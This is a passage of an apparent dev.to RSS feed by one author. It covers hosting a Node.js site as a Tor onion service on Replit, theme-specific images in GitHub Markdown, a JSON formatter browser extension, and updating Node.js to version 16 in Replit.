&lt;li&gt;Fork My Template for deploying Node.js project to Dark Web&lt;/li&gt;
&lt;li&gt;Put Your Own Code in&lt;/li&gt;
&lt;li&gt;And you would have a Dark Web site up and running 🚀&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To deploy our Node.js App we will be using &lt;a href="https://replit.com"&gt;Replit&lt;/a&gt;. It is a simple yet powerful online IDE. You can do a bunch of stuff in it.&lt;/p&gt;

&lt;p&gt;And I have Already Created a &lt;a href="https://replit.com/@arnavkr/tor"&gt;template&lt;/a&gt; in &lt;a href="https://replit.com"&gt;Replit&lt;/a&gt; that you will be using to host your Node.js App.&lt;/p&gt;

&lt;p&gt;First things first if you don't have a &lt;a href="https://replit.com"&gt;Replit&lt;/a&gt; Account just go to &lt;a href="https://replit.com"&gt;https://replit.com&lt;/a&gt; and create one. Just log in with your GitHub and it will not take more than a few seconds.&lt;/p&gt;

&lt;p&gt;Now that you have a &lt;a href="https://replit.com"&gt;Replit&lt;/a&gt; Account, you can fork the following repl: &lt;a href="https://replit.com/@arnavkr/tor"&gt;https://replit.com/@arnavkr/tor&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On Opening the Fork you will find many files here's the directory structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./
├── domain.sh
├── index.js
├── .torrc
├── .replit
├── node_modules
├── package.json
├── package-lock.json
├── public
│   └── index.html
├── README.md
├── replit.nix
├── run.sh
└── tor
    └── hidden_service
        ├── authorized_clients
        ├── hostname
        ├── hs_ed25519_public_key
        └── hs_ed25519_secret_key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You will notice that there is already a Node.js Hello World Project setup. You just need to replace the &lt;code&gt;Node.js&lt;/code&gt; Specific Files with your own code, Hit the &lt;code&gt;Run&lt;/code&gt; Button and it will be deployed to the Tor. And you can access your website on &lt;code&gt;Tor Browser&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;But Before you close this article, you would be wondering "I have deployed it. But how to access it?".&lt;/p&gt;

&lt;p&gt;To get the domain on which you can access your deployed site, you just have to run the &lt;code&gt;domain.sh&lt;/code&gt; script&lt;br&gt;
&lt;br&gt;
 &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash domain.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or if you don't want to do so, just head on to &lt;code&gt;/tor/hidden_service/hostname&lt;/code&gt; file and you will see an onion domain. Just visit that domain in Tor Browser to View your site.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding Files
&lt;/h3&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;index.js&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;This file doesn't need an introduction. You all know what it is for i.e. the entry point for the nodejs project&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;node_modules/&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;This is well known! and well blamed for eating storage too.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;package.json&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;Config File for nodejs project&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;package-lock.json&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;This is automatically created when you install packages.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;public/&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;This is being setup as the static hosting directory for express.js&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;README.md&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;Contains Some further explanations about the project&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;run.sh&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;This is the &lt;code&gt;bash&lt;/code&gt; script that runs on clicking the &lt;code&gt;Run Button&lt;/code&gt; on top. this script setups all things so you don't have to do much. Still if needed you can modify it accordingly.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;domain.sh&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;The bash script to print the &lt;code&gt;.onion&lt;/code&gt; domain on which the site can be accessed.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;.torrc&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;The configuration file for Tor you can modify it accordingly if you want&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;tor&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;This directory contains all the files related to the tor&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;.replit&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;Configuration file for replit usually used to configure the behaviour of the run button&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;replit.nix&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;This is the &lt;code&gt;nix&lt;/code&gt; config file in replit. Used to manage packages. More Info &lt;a href="https://docs.replit.com/programming-ide/getting-started-nix"&gt;Here&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Live Example
&lt;/h3&gt;

&lt;p&gt;I have hosted the same template on replit.&lt;br&gt;
And here's the link to the working example: &lt;a href="http://nbrmr5m4gekl2lkof4kkarjfwpuaa745yfgmrnpn7bfjsoclm7g2lxad.onion/"&gt;http://nbrmr5m4gekl2lkof4kkarjfwpuaa745yfgmrnpn7bfjsoclm7g2lxad.onion/&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: You can't open this is normal browser, you have to use Tor Browser to open this&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  End Notes
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;By default repls in replit sleeps when there is not much traffic on site. to let it not sleep you can either buy a hacker plan to use "always on" or use UptimeRobot to keep pinging your repl to keep it online&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hope you got it working. &lt;br&gt;
If you come up with any issue you can just comment.&lt;/p&gt;

</description>
      <category>darkweb</category>
      <category>tor</category>
      <category>node</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Using Dark/Light Mode Specific Images in GitHub Markdown</title>
      <dc:creator>Arnav Kumar</dc:creator>
      <pubDate>Mon, 14 Feb 2022 16:56:44 +0000</pubDate>
      <link>https://dev.to/arnavkr/using-darklight-mode-specific-images-in-github-markdown-3iln</link>
      <guid>https://dev.to/arnavkr/using-darklight-mode-specific-images-in-github-markdown-3iln</guid>
      <description>&lt;h2&gt;
  
  
  Hey There Devs! 👋
&lt;/h2&gt;

&lt;p&gt;Hope you are doing great with your projects.&lt;/p&gt;

&lt;h3&gt;
  
  
  TOC
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Why this post? 🤔&lt;/li&gt;
&lt;li&gt;
Procedure 🧪

&lt;ul&gt;
&lt;li&gt;Example&lt;/li&gt;
&lt;li&gt;Live Example&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Disclaimers ⚠️&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why this post? 🤔
&lt;/h3&gt;

&lt;p&gt;As a developer we develop projects, write code all day around and we might also publish it on &lt;a href="https://github.com" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; to let others understand and use our project.&lt;/p&gt;

&lt;p&gt;And Markdowns play a vital role in explaining the code, branding your projects, showcasing your stats and so on.&lt;/p&gt;

&lt;p&gt;And you all know how much is the craze of the &lt;strong&gt;Dark Mode&lt;/strong&gt; nowadays especially between the Devs. But most browsers have light mode as their default.&lt;/p&gt;

&lt;p&gt;So, here comes the actual point of this post. By default GitHub adapts most of the parts of the Markdown according to the theme. But it doesn't do anything with your images by default.&lt;/p&gt;

&lt;p&gt;Imagine an image that was made to look good on white background with black as its foreground color. it will not even be notable in the dark mode.&lt;/p&gt;

&lt;p&gt;So, you may want to optimize your Images according to the current theme of the viewer's browser. And also maybe to look a bit cool and professional 😅.&lt;/p&gt;

&lt;h3&gt;
  
  
  Procedure 🧪
&lt;/h3&gt;

&lt;p&gt;The procedure is very simple. No I am not joking its actually very simple.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Do Create 2 separate versions of your images one optimized for light mode and one for dark mode.
For example take this image of Termux. I have created two variants of the same image, one for light and one for dark:
&lt;img alt="Light Mode Variant" src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3w3ulf5wku7rpl25kjw2.png"&gt;Light Mode Variant



&lt;img alt="Dark Mode variant" src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F38ubynrshj4jerwmjky9.png"&gt;Dark Mode Variant

&lt;/li&gt;
&lt;li&gt;Now, here comes the magical thing 🪄. To make an Image only visible in &lt;strong&gt;Dark Mode&lt;/strong&gt;, add &lt;code&gt;#gh-dark-mode-only&lt;/code&gt; at the end of the image url. And to make an Image Only Visible in &lt;strong&gt;Light Mode&lt;/strong&gt;, add &lt;code&gt;#gh-light-mode-only&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Example:
&lt;/h4&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;

&lt;span class="p"&gt;![&lt;/span&gt;&lt;span class="nv"&gt;Termux Logo&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;https://user-images.githubusercontent.com/72879799/153904003-d7dee710-6552-4d23-a803-7a9a0ba67d92.png#gh-dark-mode-only&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;![&lt;/span&gt;&lt;span class="nv"&gt;Termux Logo&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;https://user-images.githubusercontent.com/72879799/153904095-9d78a019-8495-4035-8174-e3da8e4dd66b.png#gh-light-mode-only&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="sb"&gt;


&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Now the &lt;strong&gt;Dark Mode&lt;/strong&gt; variant of the Image will only be visible in the &lt;strong&gt;Dark mode&lt;/strong&gt; and the &lt;strong&gt;Light Mode&lt;/strong&gt; variant will only be visible in the &lt;strong&gt;Light Mode&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The Image URLs above are just for demonstration. Replace them with your own image URLs and you are Ready to Go!&lt;/p&gt;

&lt;p&gt;And it works 🥳🎉!&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fupgf5j5oml0hn0pb6v0u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fupgf5j5oml0hn0pb6v0u.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Live Example ⚡:
&lt;/h4&gt;

&lt;p&gt;You can see the working example at my &lt;a href="https://github.com/arnav-kr/file-host/blob/b3346b4e73fcceb129ad0da394996578056cf13b/dev.to/examples/light-and-dark.md"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Disclaimers ⚠️
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note that it will not adapt according to the Theme if the image is not hosted on the GitHub&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>github</category>
      <category>darkmode</category>
      <category>theme</category>
      <category>markdown</category>
    </item>
    <item>
      <title>JSON Formatter - Your Lifesaver</title>
      <dc:creator>Arnav Kumar</dc:creator>
      <pubDate>Mon, 06 Dec 2021 17:15:48 +0000</pubDate>
      <link>https://dev.to/arnavkr/json-formatter-your-lifesaver-5db4</link>
      <guid>https://dev.to/arnavkr/json-formatter-your-lifesaver-5db4</guid>
      <description>&lt;h2&gt;
  
  
  Welcome Devs!
&lt;/h2&gt;

&lt;p&gt;As of now you already have seen that in our day to day work we come up with many types of URLs and files specifically &lt;code&gt;JSON&lt;/code&gt; files they are almost everywhere. For files its clear. You use a text editor with a beautiful syntax highlighting and with your desired settings. But what about when you view them in browser? In your development career you may already heard of &lt;code&gt;json formatter&lt;/code&gt; browser extensions. They format and syntax highlight the json codes from most of the json responses. But most don't give satisfactory results.&lt;/p&gt;

&lt;h3&gt;
  
  
  Some of the points that i noted while i was in search of the perfect Json Formatter Extension
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Some of them don't work on JSON response returned with a non json &lt;code&gt;Content-Type&lt;/code&gt; header&lt;/li&gt;
&lt;li&gt;Some of them Don't Have Dark Mode (And we are Dark Lovers)&lt;/li&gt;
&lt;li&gt;Some only let us see the json tree but not the raw data&lt;/li&gt;
&lt;li&gt;Some are just data stealers&lt;/li&gt;
&lt;li&gt;Some Just don't remember your preferences on specific sites&lt;/li&gt;
&lt;li&gt;Some of them aren't regularly maintained
And so on...&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Here comes my JSON Formatter 🥳
&lt;/h2&gt;

&lt;p&gt;So after seeing all these things i decided to create my own &lt;code&gt;Extension&lt;/code&gt; that would solve all those problems and be the devs' best friend. Its New So its Obvious that its underated now, your support would be appreciatable! 😃&lt;/p&gt;

&lt;p&gt;Its Available on &lt;a href="https://chrome.google.com/webstore/detail/json-formatter/gpmodmeblccallcadopbcoeoejepgpnb" rel="noopener noreferrer"&gt;Chrome Web Store&lt;/a&gt; for &lt;code&gt;Chrome&lt;/code&gt; and also available on other webstores like edge and firefox&lt;/p&gt;

&lt;p&gt;&lt;a href="https://chrome.google.com/webstore/detail/json-formatter/gpmodmeblccallcadopbcoeoejepgpnb" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F72879799%2F229783871-ec49dba0-5c17-411b-892a-6ba0abee3fe7.svg" alt="Add to Chrome" width="199" height="60"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://addons.mozilla.org/firefox/addon/json_formatter/" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F72879799%2F229780855-df16725a-f232-478d-99c2-052344601626.svg" alt="Add to Firefox" width="172" height="60"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://microsoftedge.microsoft.com/addons/detail/json-formatter/hdebmbedhflilekbidmmdiaiilaegkjl" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F72879799%2F229780863-e60a44cd-a768-47d8-9755-c46075c3751b.svg" alt="Add to Microsoft Edge" width="172" height="60"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Short Link: &lt;a href="https://bit.ly/json_formatter" rel="noopener noreferrer"&gt;bit.ly/json_formatter&lt;/a&gt;
&lt;/h4&gt;

&lt;h4&gt;
  
  
  Website: &lt;a href="https://json-formatter.js.org" rel="noopener noreferrer"&gt;json-formatter.js.org&lt;/a&gt;
&lt;/h4&gt;

&lt;h3&gt;
  
  
  Features of my JSON Formatter Extension
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Dark Mode (Automated + Manual)&lt;/li&gt;
&lt;li&gt;Syntax Highlighting (VS Code Styled)&lt;/li&gt;
&lt;li&gt;Works Offline 📴&lt;/li&gt;
&lt;li&gt;Works with any JSON Webpage (webpage should just contain valid json code)&lt;/li&gt;
&lt;li&gt;Automatically Linkify Links (just click on links in strings to open them)&lt;/li&gt;
&lt;li&gt;Formats JSON automatically (No Setup Needed&lt;/li&gt;
&lt;li&gt;Raw and Parsed Mode (Parsed for ease of your eye and raw for ease of your hands)&lt;/li&gt;
&lt;li&gt;Remembers Theme Preferences ( knows which mode you prefer on which sites)&lt;/li&gt;
&lt;li&gt;Shortcut Keys (1 tap controls, easy navigation)&lt;/li&gt;
&lt;li&gt;Collapsible Toolbar (Easily Collapse the Toolbar)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I am looking for Suggestions and Feedbacks from you&lt;br&gt;
If you have any issues related the extension you can open an &lt;a href="https://github.com/arnav-kr/json-formatter/issues" rel="noopener noreferrer"&gt;issue&lt;/a&gt; at the &lt;a href="https://github.com/arnav-kr/json-formatter/" rel="noopener noreferrer"&gt;Github Repo&lt;/a&gt; i will try to fix it asap!&lt;/p&gt;

&lt;p&gt;Leave a &lt;a href="https://github.com/arnav-kr/json-formatter/" rel="noopener noreferrer"&gt;Star⭐&lt;/a&gt; on the repo and don't forget to rate the &lt;a href="https://chrome.google.com/webstore/detail/json-formatter/gpmodmeblccallcadopbcoeoejepgpnb" rel="noopener noreferrer"&gt;extension&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/arnav-kr/json-formatter/" rel="noopener noreferrer"&gt;Github Repo&lt;/a&gt; | &lt;a href="https://github.com/arnav-kr/json-formatter/issues" rel="noopener noreferrer"&gt;issues&lt;/a&gt; | &lt;a href="https://github.com/arnav-kr/json-formatter/fork" rel="noopener noreferrer"&gt;Fork JSON Formatter&lt;/a&gt; | &lt;a href="https://github.com/arnav-kr/" rel="noopener noreferrer"&gt;My GitHub Profile&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Screenshots:
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0w0q1a54ykjj30yn9glj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0w0q1a54ykjj30yn9glj.png" alt="Selecting Theme" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyihh6v0u1o4ftb9kz3fk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyihh6v0u1o4ftb9kz3fk.png" alt="Clickable Links" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7wre8b8vyyr8vjctrh6c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7wre8b8vyyr8vjctrh6c.png" alt="Themes Preview" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffficc0izrr0jwynl1f5y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffficc0izrr0jwynl1f5y.png" alt="Different Formatting Options" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe5xozsc9xevarx3r32qi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe5xozsc9xevarx3r32qi.png" alt="Light Theme" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>extensions</category>
      <category>addons</category>
      <category>opensource</category>
      <category>json</category>
    </item>
    <item>
      <title>Updating Node.js to 16+ in Replit</title>
      <dc:creator>Arnav Kumar</dc:creator>
      <pubDate>Sat, 21 Aug 2021 15:42:55 +0000</pubDate>
      <link>https://dev.to/arnavkr/updating-node-js-to-16-in-replit-1ep0</link>
      <guid>https://dev.to/arnavkr/updating-node-js-to-16-in-replit-1ep0</guid>
      <description>&lt;p&gt;Hey There,&lt;br&gt;
Welcome to my first post, today i'll tell you how can you update your &lt;a href="https://replit.com/" rel="noopener noreferrer"&gt;Replit&lt;/a&gt;'s &lt;a href="https://nodejs.dev/" rel="noopener noreferrer"&gt;Nodejs&lt;/a&gt; version to 16+, so lets get started. &lt;/p&gt;

&lt;p&gt;Many want to do that as to support &lt;a href="https://discordjs.guide/" rel="noopener noreferrer"&gt;Discord&lt;/a&gt;'s latest v13 as it would only run on &lt;a href="https://nodejs.dev/" rel="noopener noreferrer"&gt;Nodejs&lt;/a&gt; v16.6 or higher. But there maybe your own reasons (Nobody likes old versions 😅).&lt;/p&gt;

&lt;p&gt;Here's our repl at version 12.x.x after this tutorial it will be updated to 16+&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhti8xzbpzsujxceh32o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhti8xzbpzsujxceh32o.png" alt="Unupdated Repl"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At first go to your &lt;code&gt;repl&lt;/code&gt; or if you don't have any just create one.&lt;/p&gt;

&lt;p&gt;Go to the &lt;code&gt;shell prompt&lt;/code&gt; and run the following code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm init &lt;span class="nt"&gt;-y&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm i &lt;span class="nt"&gt;--save-dev&lt;/span&gt; node@16 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm config &lt;span class="nb"&gt;set &lt;/span&gt;&lt;span class="nv"&gt;prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;pwd&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;/node_modules/node &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;pwd&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;/node_modules/node/bin:&lt;span class="nv"&gt;$PATH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fclhm66g6yv5dtli0mcer.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fclhm66g6yv5dtli0mcer.png" alt="Shell with code"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After running the code you would see the following output:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcam7gfk1d86g38mcz8ot.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcam7gfk1d86g38mcz8ot.png" alt="Shell after Run"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And congo 🎉 your repl's nodejs has been successfully updated to 16+. &lt;br&gt;
You could further confirm it by running &lt;code&gt;node -v&lt;/code&gt; in the shell&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ka4desxua80e6tokpz2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ka4desxua80e6tokpz2.png" alt="Success"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; There's another better way to do this now just use the Node 16 template while creating the repl&lt;br&gt;
&lt;a href="https://replit.com/@RoBlockHead/NodeJS-16" rel="noopener noreferrer"&gt;https://replit.com/@RoBlockHead/NodeJS-16&lt;/a&gt;&lt;/p&gt;

</description>
      <category>node</category>
      <category>replit</category>
      <category>javascript</category>
      <category>v16</category>
    </item>
  </channel>
</rss>
